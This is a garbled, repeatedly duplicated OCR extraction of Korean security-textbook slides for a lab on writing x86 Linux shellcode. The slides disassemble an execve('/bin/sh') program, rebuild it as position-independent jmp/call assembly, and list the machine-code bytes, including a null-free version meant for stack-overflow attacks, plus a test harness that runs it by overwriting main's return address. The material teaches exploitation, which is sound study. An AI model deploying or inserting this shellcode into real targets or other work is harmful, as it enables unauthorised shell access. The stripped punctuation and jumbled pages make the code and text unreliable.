call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 74: 80×86  시스템에 대한 이해

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 75: 80×86  시스템에 대한 이해

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

